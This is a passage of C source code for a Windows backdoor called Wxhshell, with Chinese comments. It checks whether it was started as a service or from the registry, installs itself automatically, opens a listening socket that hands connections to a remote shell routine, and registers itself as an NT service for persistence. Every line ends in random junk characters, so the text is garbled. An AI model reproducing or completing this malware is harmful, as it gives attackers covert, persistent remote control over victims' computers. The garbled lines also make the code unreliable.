static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !)GPI?{^5
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DGcd|>q
Y #\e~>K
HANDLE hProcess; bbz86]AhY
PROCESS_BASIC_INFORMATION pbi; OnG?@sW+4!
LTxOq|/Cq
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d97wiE/i<
if(NULL == hInst ) return 0; 5QlJX
grZN.zTO
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yt?#T#
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X]N8'Yt
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h<?Vzl
Q,>AT$|
if (!NtQueryInformationProcess) return 0; mWZVO,t$
A/9 w r
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7JbN WN
if(!hProcess) return 0; fSj^/>
f.!cR3XgV
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 74Lq!e3hMF
h-<+Pj c
CloseHandle(hProcess); qu?D`29
t JJaIb6Xj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }RXm=ArN
if(hProcess==NULL) return 0; dme_Ivt
*h`zV<j
HMODULE hMod; ,$*$w<
char procName[255]; 'E9\V\bi
unsigned long cbNeeded; rKO[;]_*
^+-i7`|=
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Yt&^i(
DwoO([&I
CloseHandle(hProcess); %.]qkGZe#
~GZ(Ou-&
if(strstr(procName,"services")) return 1; // 以服务启动 y8\44WKW
5WEF^1
return 0; // 注册表启动 OfPWqNpO
} %N 2=: ;f
Hg<]5
// 主模块 }nkX-PG9
int StartWxhshell(LPSTR lpCmdLine) )H)HR`
{ }psJ'aiG*
SOCKET wsl; .Ir 5gz
BOOL val=TRUE; RK|C* TCnl
int port=0; gVO[R6C5C
struct sockaddr_in door; F;kNc:X`)
!iMsTH<
if(wscfg.ws_autoins) Install(); hS<+=3
<M
8xLvpgcZ
port=atoi(lpCmdLine); leiP/D6s
<}G7#xg
if(port<=0) port=wscfg.ws_port; `w2hJP
ZZ#S\*
WSADATA data; g^=p)h3
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p9 %7h.
IS!sJ c
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; moh7:g
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Nb-;D)W;B
door.sin_family = AF_INET;
1I_(!F{Ho
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~h -0rE
door.sin_port = htons(port); c'[l%4U8[
5MT$n4zKu
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8@Pv
nOL
closesocket(wsl); t
7+ifSrz
return 1; LG(bdj"NM
} ;8H
m#p7,
Tw=Jc 's
if(listen(wsl,2) == INVALID_SOCKET) { %6L{Z *(
closesocket(wsl); ,'[0tl}8K
return 1; >A#]60w.
} Fe}Dnv)}Z
Wxhshell(wsl); !M6*A1g5
WSACleanup(); S-GcH
"d9"Md0k
return 0; LJ9^:U
XB
zcbS+
} (z#qkKL{^
y^?7de}
// 以NT服务方式启动 Z%k)'%_
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p1q"[)WVn^
{ Bi9 S1p
DWORD status = 0; ,..&j+m
DWORD specificError = 0xfffffff; YRqIC -_
}O-|b#Q
serviceStatus.dwServiceType = SERVICE_WIN32; V0XQG}
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >T=($:n
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eNR>W>;'
serviceStatus.dwWin32ExitCode = 0; ZG3u
serviceStatus.dwServiceSpecificExitCode = 0; ihdN{Mx<2
serviceStatus.dwCheckPoint = 0; Y:XE4v/)@L
serviceStatus.dwWaitHint = 0; /0IvvD!7N
HTAJn_
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e<#t]V
if (hServiceStatusHandle==0) return; 9 "7(Jq
l~.ae,|7
status = GetLastError(); W$=Ad *
if (status!=NO_ERROR) 8HDYA$L
{ (
$A0b
serviceStatus.dwCurrentState = SERVICE_STOPPED; }KcvNK (
serviceStatus.dwCheckPoint = 0; \9N1:
serviceStatus.dwWaitHint = 0; yHsmX2s
serviceStatus.dwWin32ExitCode = status; ,3 =|a|p
serviceStatus.dwServiceSpecificExitCode = specificError; },lHa!<^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8>%:MS"
return; :XqqhG
} W1fEUVj
@@M
2s(
serviceStatus.dwCurrentState = SERVICE_RUNNING; JHC 6l
serviceStatus.dwCheckPoint = 0; 7.`Fe g.
serviceStatus.dwWaitHint = 0; ]3nka$wA*
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .5Sw
} tNj-~r
mII7p LbQ
// 处理NT服务事件,比如:启动、停止 `83s97Sa
VOID WINAPI NTServiceHandler(DWORD fdwControl) d0vn/k2I
{ ~PAF2
switch(fdwControl) 2dg+R)%
{ 'B>fRN
case SERVICE_CONTROL_STOP: `f?v_Ui-$
serviceStatus.dwWin32ExitCode = 0; LlKvi_z
serviceStatus.dwCurrentState = SERVICE_STOPPED; ji9 (!G
serviceStatus.dwCheckPoint = 0; "^Y)&